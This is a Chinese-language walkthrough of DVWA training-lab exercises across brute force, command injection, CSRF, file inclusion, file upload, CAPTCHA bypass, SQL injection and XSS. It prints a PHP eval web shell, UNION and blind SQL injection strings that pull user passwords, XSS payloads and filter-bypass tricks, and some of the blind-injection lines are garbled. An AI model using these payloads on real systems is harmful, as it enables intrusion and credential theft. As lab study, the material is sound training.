Burte Force
LOW
使用sql注入
Medium
使用burp suit暴力破解
Command Injection
LOW
分析代码,我们可以在IP地址后面尝试连接任何命令
Medium
分析代码时我们发现它这里是限制了两个符号
这里可以使用其它分隔符 || & |
High
这里的限制比上一个又多了一些限制,但可以发现单竖杠后面是多了一个空格,所以我们输入单杠时不输空格就可以绕过限制
CSRF
LOW
直接修改URL处的New password和 Confirm new password
File Inclusion
LOW
访问本地文件
访问远程服务器文件
Medium
访问远程服务器时增加了两条限制
因为str_replace函数只执行一次,所以只能筛选出一个http头,第二个则可以生效,使用以下方法进行绕过
High
只能使用file协议访问本地文件
File Upload
LOW
上传一个一句话木马的php文件
<?php @eval($_POST['attack']);?>
使用中国蚁剑,进入服务器可以进行一些操作
Medium
可以看到这里又是多了一些限制,我们只能上传图片
使用burp suite,方法如下
High
因为它这会检查文件头,所以我们要将文件上传漏洞和文件包含漏洞相结合
直接上传合成的文件即可。
另一种方法是直接上传如图所示文件即可
Insecure CAPTCHA
LOW
根据提示我们可以了解到给出的文件中没有所需的key
尝试将key设置为123
刷新我们就可以进入到修改密码的界面,但我们分析代码可以知道,这里还有一层验证
这个主要分为两个阶段
第一阶段
验证用户身份,服务器会用私钥对用户进行身份验证,如果验证成功了才能进行修改密码
第二阶段
如果如果两次输入的密码一致,就进行修改
利用bp抓包,修改step值为2,即可跳过验证
Medium
相对于Low级别的,这里多了一个验证
对参数passed_captcha进行验证,如果通过身份验证,该参数就为true
添加一个条件即可验证成功
High
改变两个参数
g-recaptcha-response=hidd3n_valu3
http包头的
User-Agent:reCAPTCHA
SQL Injection
LOW
注入思路:
1、是否有注入?是字符型还是数字型?
2、获取当前数据库信息
1' union select 1,database()# 获取库名
1' union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=database() # 获取表名
1' union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name='users' # 获取列名
3、下载数据
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(user,password) from users #
通过以上操作后我们可以得到一串hash值
password与密码的长度应该一致,所以将长度对齐,通过md5解密即可获得密码。
Medium
这一等级多了一个限制,mysqli_real_escape_string的作用是防止字符型注入
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
这里通过bp抓包可以判断出是要使用数字注入方式的,语句与上一等级的基本一致
High
这里与其它的不同如下代码,limit的作用是限制字符为1个,通过 # 注释可以注释掉limit
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
这里直接使用LOW中用到的语句即可。
SQL Injection (Blind)
盲注思路:
1.是否有注入?布尔或时间?
2.获取当前数据库
1' and length(database())>1 #
1' and ascii(substr(database(),1,1)>1 #
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>1 # 获XSS (DOM)取表名长度
1' and ascii(substr((select table_name from information_schema.tables where table_schema= database( limit 0,1),1,1))>97 # 猜解表名称字符
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1 # 获取列名长度
1' and length(substr(select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 # 获取列名字符
3.下载数据
使用kali中的sqlmap会极大提高效率 在Kali Linux下使用sqlmap
XSS (DOM)
LOW
这一级别没有任何限制,直接写入语句即可实现弹窗
Medium
这个级别是是限制script的,所以我们需要使用图片的错误提示信息实现弹窗,并需要绕过option和select
High
#在php中为注释符,在html中不是,所以使用#后可以继续执行后面的语句,从而实现弹窗
XSS (Reflected)
LOW
没有任何防御,直接在文本框中输入代码即可
Medium
这里有一个str_replace函数来限制,因为这个函数是区分大小写的,所以直接修改script的任意字母大写即可跳过。
High
这里给出了更多的限制,我们可以直接用img来进行绕过
<img src=1 onerror=alert("xss")>
XSS (Stored)
LOW
直接在message中输入
Medium
这个级别中对message进行了限制,功能:PHP htmlspecialchars()的用法,所以我们只能通过name来进行注入,发现name的长度是由限制的,所以我们更改限制,就可以直接利用name实现弹窗
High
这个是给name也添加了限制,而message的限制我们目前还没有办法绕过,但我们是可以绕过的
$message = htmlspecialchars( $message ); message限制
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); name限制
首先更改name文本框长度的限制,再用img进行绕过。